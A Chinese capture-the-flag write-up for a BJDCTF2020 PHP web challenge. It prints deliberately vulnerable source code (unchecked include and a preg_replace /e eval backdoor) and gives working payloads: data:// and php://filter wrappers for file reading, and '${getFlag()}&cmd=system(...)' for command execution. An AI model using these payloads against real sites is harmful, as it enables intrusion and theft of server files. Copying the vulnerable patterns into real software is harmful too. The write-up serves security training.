[BJDCTF2020]ZJCTF,不过如此

发布时间:2024年01月11日

题目源码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

代码要求我们有两个get参数,首先,代码会检查是否设置了text参数,并且通过file_get_contents()函数读取指定文件的内容。如果读取到的文件内容等于"I have a dream",则会将这个内容显示在页面上。

接下来,代码检查是否设置了file参数,并且使用include()函数包含这个文件。然而,在包含文件之前,代码进行了一些安全性检查。它使用preg_match()函数判断$file中是否包含"flag"字符串,如果包含则输出错误信息并终止脚本执行。

如果以上条件都满足,那么就会包含指定的文件($file

根据提示的next.php,我们去访问它

第一点我们可以用data协议流绕过,

?text=data://text/plain,I have a dream

或者input,两者作用相同

?text=php://input

在post请求体写入I have a dream,然后发现直接给file传文件名读不出内容

需要伪协议读文件,payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=next.php

?

解码得:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

?preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\\1")

可变变量 ???

有时候使用可变变量名是很方便的。 就是说,一个变量的变量名可以动态的设置和使用。 一个普通的变量通过声明来设置,例如:

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。 在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。 例如:

<?php
$$a = 'world';
?>

这时,两个变量都被定义了: $a 的内容是“hello”并且 $hello 的内容是“world”。 因此,以下语句:

<?php
echo "$a {$$a}";
?>

与以下语句输出完全相同的结果:

<?php
echo "$a $hello";
?>

它们都会输出: hello world 。

要将可变变量用于数组,必须解决一个模棱两可的问题。 这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。 解决此问题的语法是,对第一种情况用 ${$a[1]} ,对第二种情况用 ${$a}[1] 。

类的属性也可以通过可变属性名来访问。 可变属性名将在该调用所处的范围内被解析。 例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。 对于 $bar 是数组单元时也是一样。引用自:PHP: 可变变量 - Manual

payload:

next.php?\S*=${getFlag()}&cmd=system('cat+/flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');


深入研究preg_replace与代码执行 - 先知社区

文章来源:https://blog.csdn.net/2301_76690905/article/details/135531061
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。